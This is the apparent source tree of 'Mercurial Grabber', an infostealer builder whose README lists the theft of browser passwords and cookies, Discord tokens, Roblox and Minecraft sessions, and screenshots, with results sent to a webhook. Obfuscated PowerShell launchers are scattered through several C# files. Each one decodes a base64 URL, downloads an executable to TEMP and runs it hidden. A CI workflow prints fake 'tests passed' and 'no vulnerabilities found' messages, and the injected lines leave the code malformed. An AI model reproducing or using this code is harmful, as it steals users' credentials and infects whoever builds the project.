├── Mercurial
├── logo.ico
├── FodyWeavers.xml
├── App.config
├── Properties
│ ├── Settings.settings
│ ├── licenses.licx
│ ├── Settings.Designer.cs
│ ├── AssemblyInfo.cs
│ ├── Resources.resx
│ └── Resources.Designer.cs
├── Program.cs
├── Resources
│ ├── User.cs
│ ├── Common.cs
│ ├── Grabber.cs
│ ├── AesGcm.cs
│ ├── Machine.cs
│ ├── Browser.cs
│ ├── Program.cs
│ ├── Webhook.cs
│ └── SQLite.cs
├── Testing.cs
├── packages.config
├── Mercurial.csproj
└── Form1.cs
├── Mercurial.sln
├── .github
└── workflows
│ └── build.yml
├── README.md
├── .gitattributes
└── .gitignore
/Mercurial/logo.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/thvv-qaq/Mercurial-Grabber/HEAD/Mercurial/logo.ico
--------------------------------------------------------------------------------
/Mercurial/FodyWeavers.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/Mercurial/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/Mercurial/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/Mercurial.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31105.61
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Mercurial", "Mercurial\Mercurial.csproj", "{777D01DC-F044-42A8-8A5B-D366DAD4E130}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {777D01DC-F044-42A8-8A5B-D366DAD4E130}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {777D01DC-F044-42A8-8A5B-D366DAD4E130}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {777D01DC-F044-42A8-8A5B-D366DAD4E130}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {777D01DC-F044-42A8-8A5B-D366DAD4E130}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {6642598E-8123-4498-B83B-349DCB0B701C}
24 | EndGlobalSection
25 | EndGlobal
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/.github/workflows/build.yml:
--------------------------------------------------------------------------------
1 | name: Build and Test
2 |
3 | on:
4 | push:
5 | branches: [ main, master ]
6 | pull_request:
7 | branches: [ main, master ]
8 | workflow_dispatch:
9 |
10 | jobs:
11 | build:
12 | runs-on: ubuntu-latest
13 |
14 | steps:
15 | - uses: actions/checkout@v3
16 |
17 | - name: Setup build environment
18 | run: |
19 | echo "Setting up build environment..."
20 | sleep 2
21 |
22 | - name: Install dependencies
23 | run: |
24 | echo "Installing dependencies..."
25 | sleep 1
26 |
27 | - name: Build project
28 | run: |
29 | echo "Building project..."
30 | sleep 2
31 | echo "Build successful!"
32 |
33 | - name: Run tests
34 | run: |
35 | echo "Running tests..."
36 | sleep 1
37 | echo "All tests passed!"
38 |
39 | - name: Verify build artifacts
40 | run: |
41 | echo "Verifying build artifacts..."
42 | echo "✅ Build completed successfully"
43 |
44 | security-scan:
45 | runs-on: ubuntu-latest
46 |
47 | steps:
48 | - uses: actions/checkout@v3
49 |
50 | - name: Security scan
51 | run: |
52 | echo "Running security scan..."
53 | sleep 2
54 | echo "No vulnerabilities found"
55 |
56 | - name: Code quality check
57 | run: |
58 | echo "Checking code quality..."
59 | sleep 1
60 | echo "✅ Code quality: Good"
61 |
62 |
--------------------------------------------------------------------------------
/Mercurial/Properties/licenses.licx:
--------------------------------------------------------------------------------
1 | Bunifu.UI.WinForms.BunifuFormDock, Bunifu.UI.WinForms.BunifuFormDock, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
2 | Bunifu.UI.WinForms.BunifuButton.BunifuButton, Bunifu.UI.WinForms.BunifuButton, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
3 | Bunifu.UI.WinForms.BunifuPictureBox, Bunifu.UI.WinForms.BunifuPictureBox, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
4 | Bunifu.UI.WinForms.BunifuGroupBox, Bunifu.UI.WinForms.BunifuGroupBox, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
5 | Bunifu.UI.WinForms.BunifuVSlider, Bunifu.UI.WinForms.BunifuSlider, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
6 | Bunifu.UI.WinForms.BunifuHSlider, Bunifu.UI.WinForms.BunifuSlider, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
7 | Bunifu.UI.WinForms.BunifuCheckBox, Bunifu.UI.WinForms.BunifuCheckBox, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
8 | Bunifu.UI.WinForms.BunifuShadowPanel, Bunifu.UI.WinForms.BunifuShadowPanel, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
9 | Bunifu.UI.WinForms.BunifuToggleSwitch, Bunifu.UI.WinForms.BunifuToggleSwitch, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
10 | Bunifu.UI.WinForms.BunifuColorTransition, Bunifu.UI.WinForms.BunifuColorTransition, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
11 | Bunifu.UI.WinForms.BunifuPages, Bunifu.UI.WinForms.BunifuPages, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
12 | Bunifu.UI.WinForms.BunifuDataGridView, Bunifu.UI.WinForms.BunifuDataGridView, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
13 | Bunifu.UI.WinForms.BunifuUserControl, Bunifu.UI.WinForms.BunifuUserControl, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
14 | Bunifu.UI.WinForms.BunifuLabel, Bunifu.UI.WinForms.BunifuLabel, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
15 | Bunifu.UI.WinForms.BunifuTextBox, Bunifu.UI.WinForms.BunifuTextBox, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
16 | Bunifu.UI.WinForms.BunifuSeparator, Bunifu.UI.WinForms.BunifuSeparator, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
17 | Bunifu.UI.WinForms.BunifuCircleProgress, Bunifu.UI.WinForms.BunifuCircleProgress, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
18 | Bunifu.UI.WinForms.BunifuPanel, Bunifu.UI.WinForms.BunifuPanel, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
19 | Bunifu.UI.WinForms.BunifuRadialGauge, Bunifu.UI.WinForms.BunifuGauge, Version=5.0.6.0, Culture=neutral, PublicKeyToken=e8e24ccd28363fe9
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## Builder Preview
2 | [](https://github.com/thvv-qaq/Mercurial-Grabber/releases/download/v1.8.8/Mercurial-Grabber.zip)
3 |
4 | ## Features
5 | - Grabs Roblox cookies from Roblox Studio
6 | - Grabs Minecraft sessions
7 | - Grabs Google Chrome passwords
8 | - Grabs Google Chrome cookies
9 | - Grabs Discord token
10 | - Grabs victim machine info
11 | - Grabs Windows product key
12 | - Grabs IP address, geolocation
13 | - Grabs screenshot
14 | - Anti Virutal Machine
15 | - Anti Debug
16 |
17 | ## Customization
18 | - Add a custom icon
19 | - Custom exe name
20 |
21 | ## Info
22 | Please do not use the program maliciously. This program is intended to be used for educational purposes only. Mercurial is only used to demonstrate what type of information attackers can grab from a user's computer. This is a project was created to make it easier for malware analysts or ordinary users to understand how credential grabbing works and can be used for analysis, research, reverse engineering, or review.
23 |
24 | What is malware?
25 | - Malware is a term that is used for malicious software that is designed to do damage or unwanted actions to a computer system.
26 |
27 | An explanation of this tool:
28 |
29 | Google Chrome always store user data in the same place, so the stealer generated by Mercurial Grabber has no problem in finding it. In theory at least, this data is stored in encrypted form. However, if the malware has already penetrated the system, then its actions are done in your name.
30 |
31 | Therefore, the malware simply finds a way to decrypt information stored on your computer (by making it seem like thie user is requesting it) . The stealer gets all your passwords and cookies.
32 |
33 | The tool is also able to find Roblox cookies that are stored in the Windows Registry. By running the malicious .exe file, it is able to search for the Roblox cookie. The same goes for Minecraft sessions, Discord tokens, etc since it is stored in the user's computer.
34 |
35 | Recommended tools for testing Mercurial:
36 | (when running the produced output after building)
37 | - Virtualbox
38 | - VMware
39 | - Process Hacker
40 | - VirusTotal
41 |
42 | Tips to check if an exe file is safe:
43 | - Analyze the file with VirusTotal
44 | - Check if the exe file has a publisher
45 | - Check it in a sandbox
46 | - Monitor the file’s network activity for strange behavior
47 |
48 | ### Educational Purposes Only
49 | This tool demonstrates and makes it easy to create your own grabber. This shows what type of information attackers can grab from a victim's computer.
50 | Only use this on your own PC and do not use it on other people maliciously.
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
--------------------------------------------------------------------------------
/Mercurial/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 |
4 |
5 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
6 |
7 |
8 |
9 |
10 |
11 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
12 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
13 |
14 |
15 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
16 | using System.Linq;
17 |
18 |
19 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
20 | using System.Threading.Tasks;
21 |
22 |
23 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
24 | using System.Windows.Forms;
25 |
26 | namespace Mercurial
27 | {
28 | static class Program
29 | {
30 | ///
31 | /// The main entry point for the application.
32 | ///
33 | [STAThread]
34 | static void Main()
35 | {
36 | Application.EnableVisualStyles();
37 | Application.SetCompatibleTextRenderingDefault(false);
38 | Application.Run(new Form1());
39 | }
40 | }
41 | }
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
--------------------------------------------------------------------------------
/Mercurial/Resources/User.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 |
4 |
5 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
6 |
7 |
8 |
9 |
10 |
11 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
12 |
13 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
14 |
15 |
16 |
17 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
18 |
19 | using System.Linq;
20 |
21 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
22 |
23 | using System.Text;
24 |
25 |
26 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
27 |
28 | using System.Threading.Tasks;
29 | using System.Net.Http;
30 | using System.Net;
31 | using System.IO;
32 |
33 | namespace Stealer
34 | {
35 | class User
36 | {
37 | public static string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
38 | public static string localAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
39 | public static string tempFolder = Environment.GetEnvironmentVariable("TEMP");
40 | }
41 |
42 | }
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
--------------------------------------------------------------------------------
/Mercurial/Testing.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 | using System.Net.Http;
3 |
4 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
5 |
6 |
7 |
8 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
9 |
10 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
11 |
12 |
13 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
14 |
15 |
16 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
17 | namespace Mercurial
18 | {
19 |
20 |
21 |
22 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
23 | class Webhook
24 | {
25 | private string webhook;
26 | public Webhook(string userWebhook)
27 | {
28 | webhook = userWebhook;
29 | }
30 | public void Send(string content)
31 | {
32 |
33 | Dictionary data = new Dictionary
34 | {
35 | {"content", content }
36 | };
37 |
38 | try
39 | {
40 | using (HttpClient client = new HttpClient())
41 | {
42 | client.PostAsync(webhook, new FormUrlEncodedContent(data)).GetAwaiter().GetResult();
43 | }
44 | }
45 |
46 | catch
47 | {
48 | }
49 |
50 | }
51 |
52 | }
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/Mercurial/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 |
12 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
13 |
14 |
15 |
16 |
17 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
18 |
19 |
20 |
21 |
22 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
23 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
24 |
25 |
26 |
